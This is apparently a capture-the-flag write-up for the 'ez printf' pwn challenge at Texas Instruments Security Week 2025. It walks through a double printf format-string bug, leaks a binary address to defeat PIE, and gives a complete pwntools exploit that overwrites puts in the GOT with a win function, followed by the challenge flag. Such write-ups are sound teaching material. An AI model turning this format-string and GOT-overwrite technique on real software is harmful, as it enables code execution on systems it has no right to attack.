Texas Instruments Security Week 2025

βš“οΈ Ahoy, landlubbers and logic-lords! This be she11D0n3 of the notorious crew H4ck_th3_Wh47, chartin’ a course straight into the stormy seas of Texas Instruments Security Week 2025! πŸ΄β€β˜ οΈ Each system’s a cryptic siren song, each puzzle a treasure chest locked with layers of encryption. We don’t just hackβ€”we unravel, we decode, we conquer. πŸ”βš‘

PWN

ez printf

First I look for file type and protections.

>>>file vuln
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, ..., for GNU/Linux 4.4.0, not stripped
>>>checksec --file=vuln
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No

Analysing and de-compiling the binary:

read(0, buf, 120uLL);
printf(buf);
read(0, buf, 120uLL);
printf(buf);
puts("nice try");
return 0;

So, we can see that there is a clear format string vulnerability twice, since no format specifiers are passed to printf.

Further there is also a win function that prints the flag.

Exploit

  1. Use the first input to leak an address that points into the binary itself, which we'll use further to get runtime win function address (thereby Bypassing PIE protection).

  2. Overwriting the GOT entry for puts with the dynamically resolved addr of the win function (GOT overwrite).

Execution

pwndbg> stack 20
    00:0000β”‚ rsp 0x7fffffffd880 β—‚β€” 'MYINPUT\n'
    01:0008β”‚-078 0x7fffffffd888 β—‚β€” 0x80000
    02:0010β”‚-070 0x7fffffffd890 β—‚β€” 0x8000
    03:0018β”‚-068 0x7fffffffd898 β€”β–Έ 0x7fffffffd8c8 β—‚β€” 0
    04:0020β”‚-060 0x7fffffffd8a0 β—‚β€” 0x6800000017
    05:0028β”‚-058 0x7fffffffd8a8 β—‚β€” 0
    ... ↓        7 skipped
    0d:0068β”‚-018 0x7fffffffd8e8 β€”β–Έ 0x7ffff7fe5af0 (dl_main) β—‚β€” endbr64 
    0e:0070β”‚-010 0x7fffffffd8f0 β€”β–Έ 0x7fffffffd9e0 β€”β–Έ 0x555555555090 (_start) β—‚β€” endbr64 
    0f:0078β”‚-008 0x7fffffffd8f8 β—‚β€” 0x34417aea34716e00
    10:0080β”‚ rbp 0x7fffffffd900 β€”β–Έ 0x7fffffffd9a0 β€”β–Έ 0x7fffffffda00 β—‚β€” 0
0x7fffffffd8f0 β€”β–Έ 0x7fffffffd9e0 β€”β–Έ 0x555555555090 (_start) β—‚β€” endbr64

So there is 0x55.. address of _start which is pointing in the binary (can also check using command vmmap in pwndbg).

Inorder to access this address by printf we need to de-reference 0x7fffffffd9e0 this for which we'll use %s format specifier and will further unpack the printed addr.

I found the offset to be 20, so initial payload: %20$s

I usually prefer manually crafting the payload in case of overwriting via %n specifier because it took me some good time to understand the working, but since here the addr to jump on was being dynamically resolved, I used the pwntools library function.

FINAL EXPLOIT

from pwn import *

debug = 0
# context.log_level = 'debug'

elf = context.binary = ELF('./vuln1')

if debug:
    p = process(elf.path)
else:
    p = remote('74.207.229.59', 20221)


win_off = 0x1189
offset = 6

p.recvline()
p.sendline(b'%20$s')

leaked = p.recvline().strip().ljust(8, b'\x00')
leaked_addr = u64(leaked)
log.success(f"Leaked address: {hex(leaked_addr)}")


base = leaked_addr - elf.symbols['_start']
win = base + win_off
got_puts = base + elf.got['puts']

log.success(f"Base address: {hex(base)}")
log.success(f"win function: {hex(win)}")
log.success(f"puts@GOT : {hex(got_puts)}")


payload = fmtstr_payload(offset, {got_puts: win}, write_size='short')

p.sendline(payload)


p.interactive()
p.recv()

Flag: texsaw{Pr1nt1ng_tHe_Fs_15_e4sy}

Last updated